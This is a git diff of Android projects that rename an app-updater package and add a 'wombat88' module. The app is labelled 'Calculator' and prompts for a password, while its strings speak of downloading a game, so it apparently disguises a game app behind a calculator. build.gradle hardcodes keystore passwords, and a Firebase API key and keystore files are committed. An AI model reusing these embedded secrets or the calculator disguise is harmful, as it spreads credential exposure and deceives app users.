52b39e0..86e775d 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/http/HttpManager.java +++ b/winwaynew/src/main/java/just/way/appdown/http/HttpManager.java @@ -1,10 +1,10 @@ -package com.web.dmcslot.appdown.http; +package just.way.appdown.http; import android.os.AsyncTask; import android.os.Build; -import com.web.dmcslot.appdown.util.LogUtils; -import com.web.dmcslot.appdown.util.SSLSocketFactoryUtils; +import just.way.appdown.util.LogUtils; +import just.way.appdown.util.SSLSocketFactoryUtils; import java.io.File; import java.io.FileOutputStream; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/http/IHttpManager.java b/winwaynew/src/main/java/just/way/appdown/http/IHttpManager.java similarity index 96% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/http/IHttpManager.java rename to winwaynew/src/main/java/just/way/appdown/http/IHttpManager.java index 0c14356..304866b 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/http/IHttpManager.java +++ b/winwaynew/src/main/java/just/way/appdown/http/IHttpManager.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.http; +package just.way.appdown.http; import java.io.File; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/http/OkHttpManager.java b/winwaynew/src/main/java/just/way/appdown/http/OkHttpManager.java similarity index 97% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/http/OkHttpManager.java rename to winwaynew/src/main/java/just/way/appdown/http/OkHttpManager.java index 8e51fb6..115a0be 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/http/OkHttpManager.java +++ b/winwaynew/src/main/java/just/way/appdown/http/OkHttpManager.java @@ -1,9 +1,9 @@ -package com.web.dmcslot.appdown.http; +package just.way.appdown.http; import android.os.AsyncTask; -import com.web.dmcslot.appdown.util.LogUtils; -import com.web.dmcslot.appdown.util.SSLSocketFactoryUtils; +import just.way.appdown.util.LogUtils; +import just.way.appdown.util.SSLSocketFactoryUtils; import org.apache.http.conn.ssl.SSLSocketFactory; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/notify/INotification.java b/winwaynew/src/main/java/just/way/appdown/notify/INotification.java similarity index 92% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/notify/INotification.java rename to winwaynew/src/main/java/just/way/appdown/notify/INotification.java index cafcfd5..a365512 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/notify/INotification.java +++ b/winwaynew/src/main/java/just/way/appdown/notify/INotification.java @@ -1,8 +1,8 @@ -package com.web.dmcslot.appdown.notify; +package just.way.appdown.notify; import android.content.Context; -import com.web.dmcslot.appdown.UpdateConfig; +import just.way.appdown.UpdateConfig; import java.io.File; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/notify/NotificationImpl.java b/winwaynew/src/main/java/just/way/appdown/notify/NotificationImpl.java similarity index 92% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/notify/NotificationImpl.java rename to winwaynew/src/main/java/just/way/appdown/notify/NotificationImpl.java index 5a432e0..cd9470a 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/notify/NotificationImpl.java +++ b/winwaynew/src/main/java/just/way/appdown/notify/NotificationImpl.java @@ -1,9 +1,9 @@ -package com.web.dmcslot.appdown.notify; +package just.way.appdown.notify; import android.content.Context; -import com.web.dmcslot.appdown.UpdateConfig; -import com.web.dmcslot.appdown.util.NotificationUtils; +import just.way.appdown.UpdateConfig; +import just.way.appdown.util.NotificationUtils; import java.io.File; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/provider/AppUpdaterFileProvider.java b/winwaynew/src/main/java/just/way/appdown/provider/AppUpdaterFileProvider.java similarity index 81% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/provider/AppUpdaterFileProvider.java rename to winwaynew/src/main/java/just/way/appdown/provider/AppUpdaterFileProvider.java index 03f2b55..0e51e71 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/provider/AppUpdaterFileProvider.java +++ b/winwaynew/src/main/java/just/way/appdown/provider/AppUpdaterFileProvider.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.provider; +package just.way.appdown.provider; import androidx.core.content.FileProvider; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/service/DownloadService.java b/winwaynew/src/main/java/just/way/appdown/service/DownloadService.java similarity index 96% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/service/DownloadService.java rename to winwaynew/src/main/java/just/way/appdown/service/DownloadService.java index 1941437..495a9c8 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/service/DownloadService.java +++ b/winwaynew/src/main/java/just/way/appdown/service/DownloadService.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.service; +package just.way.appdown.service; import android.app.Service; import android.content.Context; @@ -8,16 +8,16 @@ import android.os.Build; import android.os.IBinder; import android.text.TextUtils; -import com.web.dmcslot.R; -import com.web.dmcslot.appdown.UpdateConfig; -import com.web.dmcslot.appdown.callback.UpdateCallback; -import com.web.dmcslot.appdown.constant.Constants; -import com.web.dmcslot.appdown.http.HttpManager; -import com.web.dmcslot.appdown.http.IHttpManager; -import com.web.dmcslot.appdown.notify.INotification; -import com.web.dmcslot.appdown.notify.NotificationImpl; -import com.web.dmcslot.appdown.util.AppUtils; -import com.web.dmcslot.appdown.util.LogUtils; +import just.way.R; +import just.way.appdown.UpdateConfig; +import just.way.appdown.callback.UpdateCallback; +import just.way.appdown.constant.Constants; +import just.way.appdown.http.HttpManager; +import just.way.appdown.http.IHttpManager; +import just.way.appdown.notify.INotification; +import just.way.appdown.notify.NotificationImpl; +import just.way.appdown.util.AppUtils; +import just.way.appdown.util.LogUtils; import java.io.File; import java.util.Locale; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/AppUtils.java b/winwaynew/src/main/java/just/way/appdown/util/AppUtils.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/util/AppUtils.java rename to winwaynew/src/main/java/just/way/appdown/util/AppUtils.java index 61d66e3..aba9765 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/AppUtils.java +++ b/winwaynew/src/main/java/just/way/appdown/util/AppUtils.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.util; +package just.way.appdown.util; import android.content.ContentResolver; import android.content.Context; @@ -22,7 +22,7 @@ import java.io.IOException; import java.math.BigInteger; import java.security.MessageDigest; -import com.web.dmcslot.appdown.constant.Constants; +import just.way.appdown.constant.Constants; /** diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/LogUtils.java b/winwaynew/src/main/java/just/way/appdown/util/LogUtils.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/util/LogUtils.java rename to winwaynew/src/main/java/just/way/appdown/util/LogUtils.java index 6c0a4da..2455ef1 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/LogUtils.java +++ b/winwaynew/src/main/java/just/way/appdown/util/LogUtils.java @@ -14,7 +14,7 @@ limitations under the License. */ -package com.web.dmcslot.appdown.util; +package just.way.appdown.util; import android.util.Log; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/NotificationUtils.java b/winwaynew/src/main/java/just/way/appdown/util/NotificationUtils.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/util/NotificationUtils.java rename to winwaynew/src/main/java/just/way/appdown/util/NotificationUtils.java index 48e45f3..962498a 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/NotificationUtils.java +++ b/winwaynew/src/main/java/just/way/appdown/util/NotificationUtils.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.util; +package just.way.appdown.util; import android.app.Notification; import android.app.NotificationChannel; @@ -15,9 +15,9 @@ import androidx.core.app.NotificationCompat; import java.io.File; -import com.web.dmcslot.appdown.UpdateConfig; -import com.web.dmcslot.appdown.constant.Constants; -import com.web.dmcslot.appdown.service.DownloadService; +import just.way.appdown.UpdateConfig; +import just.way.appdown.constant.Constants; +import just.way.appdown.service.DownloadService; /** * @author Jenly diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/PermissionUtils.java b/winwaynew/src/main/java/just/way/appdown/util/PermissionUtils.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/util/PermissionUtils.java rename to winwaynew/src/main/java/just/way/appdown/util/PermissionUtils.java index 3acce16..a1ea77d 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/PermissionUtils.java +++ b/winwaynew/src/main/java/just/way/appdown/util/PermissionUtils.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.util; +package just.way.appdown.util; import android.Manifest; import android.app.Activity; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/SSLSocketFactoryUtils.java b/winwaynew/src/main/java/just/way/appdown/util/SSLSocketFactoryUtils.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/util/SSLSocketFactoryUtils.java rename to winwaynew/src/main/java/just/way/appdown/util/SSLSocketFactoryUtils.java index f907b18..0efef61 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/util/SSLSocketFactoryUtils.java +++ b/winwaynew/src/main/java/just/way/appdown/util/SSLSocketFactoryUtils.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.util; +package just.way.appdown.util; import android.content.Context; import android.text.TextUtils; diff --git a/winwaynew/src/main/res/drawable-anydpi/ic_action_back.xml b/winwaynew/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/winwaynew/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/winwaynew/src/main/res/drawable-hdpi/ic_action_back.png b/winwaynew/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/winwaynew/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/winwaynew/src/main/res/drawable-mdpi/ic_action_back.png b/winwaynew/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/winwaynew/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/winwaynew/src/main/res/drawable-v24/ic_launcher_foreground.xml b/winwaynew/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/winwaynew/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/drawable-xhdpi/ic_action_back.png b/winwaynew/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/winwaynew/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/winwaynew/src/main/res/drawable-xxhdpi/ic_action_back.png b/winwaynew/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/winwaynew/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/winwaynew/src/main/res/drawable-xxhdpi/index_log.png b/winwaynew/src/main/res/drawable-xxhdpi/index_log.png new file mode 100644 index 0000000..74e08a7 Binary files /dev/null and b/winwaynew/src/main/res/drawable-xxhdpi/index_log.png differ diff --git a/winwaynew/src/main/res/drawable/ic_launcher_background.xml b/winwaynew/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/winwaynew/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/drawable/pass_word_bg.xml b/winwaynew/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/winwaynew/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/drawable/pass_word_bg1.xml b/winwaynew/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..962cf11 --- /dev/null +++ b/winwaynew/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/drawable/pass_word_bg2.xml b/winwaynew/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/winwaynew/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/drawable/shape_dialog_bg_new.xml b/winwaynew/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/winwaynew/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/layout/activity_main.xml b/winwaynew/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/layout/activity_main2.xml b/winwaynew/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..5e3034a --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_main2.xml @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/layout/activity_main22.xml b/winwaynew/src/main/res/layout/activity_main22.xml new file mode 100644 index 0000000..5e3034a --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_main22.xml @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/layout/activity_main3.xml b/winwaynew/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..5c3ec2c --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/layout/activity_notifydetails.xml b/winwaynew/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..5b289f9 --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/layout/activity_start.xml b/winwaynew/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/layout/activity_webview.xml b/winwaynew/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..13eac29 --- /dev/null +++ b/winwaynew/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winwaynew/src/main/res/layout/dialog_action_confirm.xml b/winwaynew/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..ff8344f --- /dev/null +++ b/winwaynew/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/winwaynew/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/winwaynew/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/winwaynew/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/winwaynew/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/mipmap-hdpi/ic_launcher.png b/winwaynew/src/main/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 0000000..a571e60 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-hdpi/ic_launcher.png differ diff --git a/winwaynew/src/main/res/mipmap-hdpi/ic_launcher_round.png b/winwaynew/src/main/res/mipmap-hdpi/ic_launcher_round.png new file mode 100644 index 0000000..61da551 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-hdpi/ic_launcher_round.png differ diff --git a/winwaynew/src/main/res/mipmap-mdpi/ic_launcher.png b/winwaynew/src/main/res/mipmap-mdpi/ic_launcher.png new file mode 100644 index 0000000..c41dd28 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-mdpi/ic_launcher.png differ diff --git a/winwaynew/src/main/res/mipmap-mdpi/ic_launcher_round.png b/winwaynew/src/main/res/mipmap-mdpi/ic_launcher_round.png new file mode 100644 index 0000000..db5080a Binary files /dev/null and b/winwaynew/src/main/res/mipmap-mdpi/ic_launcher_round.png differ diff --git a/winwaynew/src/main/res/mipmap-xhdpi/ic_launcher.png b/winwaynew/src/main/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 0000000..6dba46d Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/winwaynew/src/main/res/mipmap-xhdpi/ic_launcher_round.png b/winwaynew/src/main/res/mipmap-xhdpi/ic_launcher_round.png new file mode 100644 index 0000000..da31a87 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xhdpi/ic_launcher_round.png differ diff --git a/winwaynew/src/main/res/mipmap-xxhdpi/ic_launcher.png b/winwaynew/src/main/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 0000000..15ac681 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/winwaynew/src/main/res/mipmap-xxhdpi/ic_launcher_round.png b/winwaynew/src/main/res/mipmap-xxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..b216f2d Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxhdpi/ic_launcher_round.png differ diff --git a/winwaynew/src/main/res/mipmap-xxhdpi/jisuanqi_logo.jpg b/winwaynew/src/main/res/mipmap-xxhdpi/jisuanqi_logo.jpg new file mode 100644 index 0000000..3e10da3 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxhdpi/jisuanqi_logo.jpg differ diff --git a/winwaynew/src/main/res/mipmap-xxhdpi/winway.jpg b/winwaynew/src/main/res/mipmap-xxhdpi/winway.jpg new file mode 100644 index 0000000..e8a1869 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxhdpi/winway.jpg differ diff --git a/winwaynew/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/winwaynew/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000..f25a419 Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/winwaynew/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png b/winwaynew/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png new file mode 100644 index 0000000..e96783c Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png differ diff --git a/winwaynew/src/main/res/mipmap-xxxhdpi/index_log1.jpg b/winwaynew/src/main/res/mipmap-xxxhdpi/index_log1.jpg new file mode 100644 index 0000000..cfc083c Binary files /dev/null and b/winwaynew/src/main/res/mipmap-xxxhdpi/index_log1.jpg differ diff --git a/winwaynew/src/main/res/values-en-rMY/strings.xml b/winwaynew/src/main/res/values-en-rMY/strings.xml new file mode 100644 index 0000000..ac66879 --- /dev/null +++ b/winwaynew/src/main/res/values-en-rMY/strings.xml @@ -0,0 +1,5 @@ + + kalkulator + WINWAY + Sila Set Password Kamu + \ No newline at end of file diff --git a/winwaynew/src/main/res/values-en/strings.xml b/winwaynew/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..3ffe944 --- /dev/null +++ b/winwaynew/src/main/res/values-en/strings.xml @@ -0,0 +1,25 @@ + + Calculator + WINWAY + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 正在获取下载数据… + 版本更新 + 下载游戏中 + Need to turn on mobile phone notification permission + Cancel + Setting + + \ No newline at end of file diff --git a/winwaynew/src/main/res/values-myn/strings.xml b/winwaynew/src/main/res/values-myn/strings.xml new file mode 100644 index 0000000..ac66879 --- /dev/null +++ b/winwaynew/src/main/res/values-myn/strings.xml @@ -0,0 +1,5 @@ + + kalkulator + WINWAY + Sila Set Password Kamu + \ No newline at end of file diff --git a/winwaynew/src/main/res/values-night/themes.xml b/winwaynew/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/winwaynew/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/values/colors.xml b/winwaynew/src/main/res/values/colors.xml new file mode 100644 index 0000000..b36f4fb --- /dev/null +++ b/winwaynew/src/main/res/values/colors.xml @@ -0,0 +1,13 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFF + + \ No newline at end of file diff --git a/winwaynew/src/main/res/values/strings.xml b/winwaynew/src/main/res/values/strings.xml new file mode 100644 index 0000000..3026aea --- /dev/null +++ b/winwaynew/src/main/res/values/strings.xml @@ -0,0 +1,24 @@ + + 计算器 + WINWAY + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 取消 + 设置 + \ No newline at end of file diff --git a/winwaynew/src/main/res/values/themes.xml b/winwaynew/src/main/res/values/themes.xml new file mode 100644 index 0000000..d60e70a --- /dev/null +++ b/winwaynew/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/xml/app_updater_paths.xml b/winwaynew/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/winwaynew/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/xml/network_security_config.xml b/winwaynew/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/winwaynew/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/winwaynew/src/main/res/xml/provider_paths.xml b/winwaynew/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/winwaynew/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/winwaynew/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/winwaynew/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/winwaynew/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/wombat88/.gitignore b/wombat88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/wombat88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/wombat88/build.gradle b/wombat88/build.gradle new file mode 100644 index 0000000..3249264 --- /dev/null +++ b/wombat88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.w8a" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "wombat88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/wombat88/dskjweb.jks b/wombat88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/wombat88/dskjweb.jks differ diff --git a/wombat88/google-services.json b/wombat88/google-services.json new file mode 100644 index 0000000..aec167f --- /dev/null +++ b/wombat88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "7206566172", + "project_id": "notiwom-3e7f4", + "storage_bucket": "notiwom-3e7f4.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:7206566172:android:f20ac1b295611a2fea62d9", + "android_client_info": { + "package_name": "com.xyz.w8a" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCttDvro9ybRLklvwyY3AIf_QIFwMrU1_Q" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/wombat88/justlet.jks b/wombat88/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/wombat88/justlet.jks differ diff --git a/wombat88/ppn.jks b/wombat88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/wombat88/ppn.jks differ diff --git a/wombat88/proguard-rules.pro b/wombat88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/wombat88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/wombat88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/wombat88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/wombat88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/wombat88/src/main/AndroidManifest.xml b/wombat88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..bfd1b48 --- /dev/null +++ b/wombat88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + 